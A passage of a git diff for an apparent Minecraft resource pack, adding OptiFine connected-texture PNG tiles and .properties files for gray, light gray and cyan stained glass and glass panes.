files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/34.png new file mode 100644 index 00000000..62a50e3a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/35.png new file mode 100644 index 00000000..8fc8b058 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/36.png new file mode 100644 index 00000000..a40bbcd3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/37.png new file mode 100644 index 00000000..5b337fbd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/38.png new file mode 100644 index 00000000..278e7eb9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/39.png new file mode 100644 index 00000000..b6f30cc4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/4.png new file mode 100644 index 00000000..6d822a4f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/40.png new file mode 100644 index 00000000..f0ca09d7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/41.png new file mode 100644 index 00000000..7396d2c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/42.png new file mode 100644 index 00000000..7958f254 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/43.png new file mode 100644 index 00000000..8dcc4de8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/44.png new file mode 100644 index 00000000..b5f7d160 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/45.png new file mode 100644 index 00000000..82acb63a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/46.png new file mode 100644 index 00000000..c6bfce6c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/5.png new file mode 100644 index 00000000..82fcfc38 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/6.png new file mode 100644 index 00000000..ccb1f6ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/7.png new file mode 100644 index 00000000..bf67595f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/8.png new file mode 100644 index 00000000..01acf189 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/9.png new file mode 100644 index 00000000..d237ab94 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_gray.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_gray.properties new file mode 100644 index 00000000..84bb9469 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_gray.properties @@ -0,0 +1,5 @@ +# Stained glass gray +matchBlocks=gray_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_pane_gray.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_pane_gray.properties new file mode 100644 index 00000000..a8c148ea --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/07_glass_gray/glass_pane_gray.properties @@ -0,0 +1,6 @@ +# Stained glass pane gray +matchBlocks=gray_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/0.png new file mode 100644 index 00000000..84616646 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/1.png new file mode 100644 index 00000000..12a88d0d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/10.png new file mode 100644 index 00000000..e2c2673e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/11.png new file mode 100644 index 00000000..076bdbed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/12.png new file mode 100644 index 00000000..f1ce496d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/13.png new file mode 100644 index 00000000..ab39de70 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/14.png new file mode 100644 index 00000000..23231db6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/15.png new file mode 100644 index 00000000..5034a661 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/16.png new file mode 100644 index 00000000..c885d28a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/17.png new file mode 100644 index 00000000..7db45f01 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/18.png new file mode 100644 index 00000000..fefa27ce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/19.png new file mode 100644 index 00000000..875306d9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/2.png new file mode 100644 index 00000000..fc9e60e1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/20.png new file mode 100644 index 00000000..ba8e1ce2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/21.png new file mode 100644 index 00000000..c244eee2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/22.png new file mode 100644 index 00000000..5789108c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/23.png new file mode 100644 index 00000000..13cd6f99 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/24.png new file mode 100644 index 00000000..f9f64d6c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/25.png new file mode 100644 index 00000000..ab006a36 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/26.png new file mode 100644 index 00000000..08dd059f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/27.png new file mode 100644 index 00000000..78ccad09 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/28.png new file mode 100644 index 00000000..4606e7a5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/29.png new file mode 100644 index 00000000..a6f7531a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/3.png new file mode 100644 index 00000000..9f227223 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/30.png new file mode 100644 index 00000000..bce4bcbb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/31.png new file mode 100644 index 00000000..3f3b0ec3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/32.png new file mode 100644 index 00000000..662e2006 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/33.png new file mode 100644 index 00000000..8fe077a5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/34.png new file mode 100644 index 00000000..007d225c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/35.png new file mode 100644 index 00000000..9521d9d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/36.png new file mode 100644 index 00000000..3a492b80 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/37.png new file mode 100644 index 00000000..f81553a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/38.png new file mode 100644 index 00000000..3749f750 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/39.png new file mode 100644 index 00000000..a40c84f5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/4.png new file mode 100644 index 00000000..b93f9cd8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/40.png new file mode 100644 index 00000000..99d2700f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/41.png new file mode 100644 index 00000000..1c5770db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/42.png new file mode 100644 index 00000000..7f80e647 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/43.png new file mode 100644 index 00000000..c003c7f9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/44.png new file mode 100644 index 00000000..c28a1315 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/45.png new file mode 100644 index 00000000..84540bc9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/46.png new file mode 100644 index 00000000..5544bc91 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/5.png new file mode 100644 index 00000000..b99c20e3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/6.png new file mode 100644 index 00000000..1447715e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/7.png new file mode 100644 index 00000000..0e5a7a70 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/8.png new file mode 100644 index 00000000..fe3a46f3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/9.png new file mode 100644 index 00000000..267f2aec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_light_gray.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_light_gray.properties new file mode 100644 index 00000000..a07699e2 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_light_gray.properties @@ -0,0 +1,5 @@ +# Stained glass light_gray +matchBlocks=light_gray_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_pane_light_gray.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_pane_light_gray.properties new file mode 100644 index 00000000..48b4bc8b --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/08_glass_light_gray/glass_pane_light_gray.properties @@ -0,0 +1,6 @@ +# Stained glass pane light_gray +matchBlocks=light_gray_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/0.png new file mode 100644 index 00000000..d30caa44 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/1.png new file mode 100644 index 00000000..941354da Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/10.png new file mode 100644 index 00000000..e6e23b0b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/11.png new file mode 100644 index 00000000..f0eddb73 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/12.png new file mode 100644 index 00000000..fa7272e6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/13.png new file mode 100644 index 00000000..beebe55c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/14.png new file mode 100644 index 00000000..59dd8a8a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/15.png new file mode 100644 index 00000000..4961e39a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/16.png new file mode 100644 index 00000000..e8c31343 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/17.png new file mode 100644 index 00000000..bd9b84ae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/18.png new file mode 100644 index 00000000..98f227d0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/19.png new file mode 100644 index 00000000..dc7929ed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/2.png new file mode 100644 index 00000000..771ff3b5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/20.png new file mode 100644 index 00000000..c6c02d95 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/21.png new file mode 100644 index 00000000..7c5e5ba0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/22.png new file mode 100644 index 00000000..b45b3865 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/23.png new file mode 100644 index 00000000..ba47110f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/24.png new file mode 100644 index 00000000..9cc6fda8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/25.png new file mode 100644 index 00000000..97c68604 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/26.png new file mode 100644 index 00000000..8790bd3c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/27.png new file mode 100644 index 00000000..36aafffd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/28.png new file mode 100644 index 00000000..533ce596 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/09_glass_cyan/29.png new file mode 100644 index 00000000..21ea0a16 